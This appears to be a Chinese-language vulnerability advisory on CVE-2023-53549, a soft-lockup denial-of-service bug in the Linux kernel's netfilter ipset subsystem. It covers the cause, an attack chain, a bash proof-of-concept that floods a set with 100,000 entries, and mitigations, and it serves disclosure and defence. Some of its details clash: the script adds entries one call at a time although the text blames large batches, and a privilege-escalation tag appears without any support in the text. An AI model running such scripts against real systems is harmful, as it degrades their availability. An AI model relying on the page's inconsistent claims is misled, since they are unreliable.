IPBUF安全漏洞报告
English
CVE-2023-53549 CVSS 5.5 中危

CVE-2023-53549 Linux内核netfilter ipset长时间任务执行漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53549
漏洞类型
拒绝服务(软锁死)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 netfilter ipset子系统

相关标签

Linux内核netfilteripset拒绝服务软锁死本地提权内核漏洞CVE-2023-53549

漏洞概述

CVE-2023-53549是Linux内核中netfilter ipset子系统的一个拒绝服务漏洞。该漏洞源于ipset在单次添加或删除大量元素时,会执行长时间连续的任务,导致系统出现软锁死(soft lockup)错误。此前曾尝试通过限制单次操作的最大元素数量来修复此问题(补丁5f7b51bf09ba),但效果不佳,仍然可能出现挂起任务的情况。

该漏洞的根本原因是ipset在处理大批量元素添加或删除操作时,没有采用适当的分批处理机制,导致单个任务长时间持有nfnl互斥锁,阻塞其他ipset命令的执行,同时触发内核软锁死检测。由于nfnl互斥锁在整个操作期间被持有,用户无法并行发起其他ipset命令。

此漏洞的影响主要体现在系统可用性方面。虽然需要本地低权限访问才能触发,但攻击者可以通过精心构造的ipset命令使系统长时间无响应,触发软锁死错误,严重影响系统的稳定性和可用性。该漏洞的CVSS评分为5.5,属于中等严重程度。

技术细节

该漏洞的技术原理如下:

1. **漏洞触发条件**:当用户通过ipset命令一次性添加或删除大量元素时,ipset内核模块会进入一个长时间运行的循环处理过程。

2. **软锁死机制**:Linux内核的软锁死检测器(soft lockup detector)会监控CPU上任务的执行时间。如果某个任务在CPU上连续执行超过一定时间(通常为20秒),系统会打印软锁死错误并可能导致系统不稳定。

3. **互斥锁竞争**:在处理大批量操作时,nfnl互斥锁在整个操作期间被持有,这不仅导致CPU占用过高,还阻止了其他ipset命令的并发执行。

4. **修复方案**:新的修复方案借鉴了ipset集合调整大小时使用的方法,通过设置较小的内部批处理限制,当达到限制时保存当前状态,释放锁后再从保存的状态继续处理。这样既避免了长时间连续任务的执行,又取消了对单次操作元素数量的限制。

5. **利用方式**:本地低权限用户可以通过ipset命令触发此漏洞,例如执行`ipset add <setname> <entry>`命令在包含大量条目的集合中循环添加元素,或者使用批量操作API一次性处理大量数据。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要拥有系统的本地低权限访问权限,能够执行ipset命令
STEP 2
步骤2:创建ipset集合
攻击者创建一个ipset集合(如hash:ip类型的集合)作为攻击载体
STEP 3
步骤3:触发长时间任务
攻击者通过批量添加或删除大量元素,使内核ipset模块进入长时间连续任务状态
STEP 4
步骤4:触发软锁死
当任务执行时间超过内核软锁死检测阈值(通常20秒)时,系统触发软锁死错误,影响系统可用性
STEP 5
步骤5:拒绝服务
由于nfnl互斥锁被长时间持有,其他ipset命令无法执行,导致系统ipset功能不可用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2023-53549 - Linux kernel netfilter ipset soft lockup # This PoC demonstrates triggering soft lockup by adding large number of elements to ipset #!/bin/bash # Check if ipset is available if ! command -v ipset &> /dev/null; then echo "ipset is not installed" exit 1 fi # Create a hash set ipset create test_set hash:ip 2>/dev/null || ipset flush test_set # Add a large number of elements to trigger soft lockup # This will cause the kernel to spend excessive time in a single task echo "Adding large number of entries to ipset..." for i in $(seq 1 100000); do ipset add test_set 10.0.$((i / 256)).$((i % 256)) 2>/dev/null done echo "Done. Check dmesg for soft lockup messages." dmesg | grep -i "soft lockup" # Cleanup ipset destroy test_set

影响范围

Linux kernel < 6.6(受影响版本)
Linux kernel 5.15.x(stable分支受影响版本)
Linux kernel 6.1.x(stable分支受影响版本)
Linux kernel 6.5.x(stable分支受影响版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解:1)限制普通用户使用ipset命令的权限;2)通过systemd或ulimit限制单个进程的CPU时间;3)监控内核日志中的软锁死警告,及时重启受影响的服务;4)避免在生产环境中执行大批量ipset操作,将其拆分为多个小批次执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表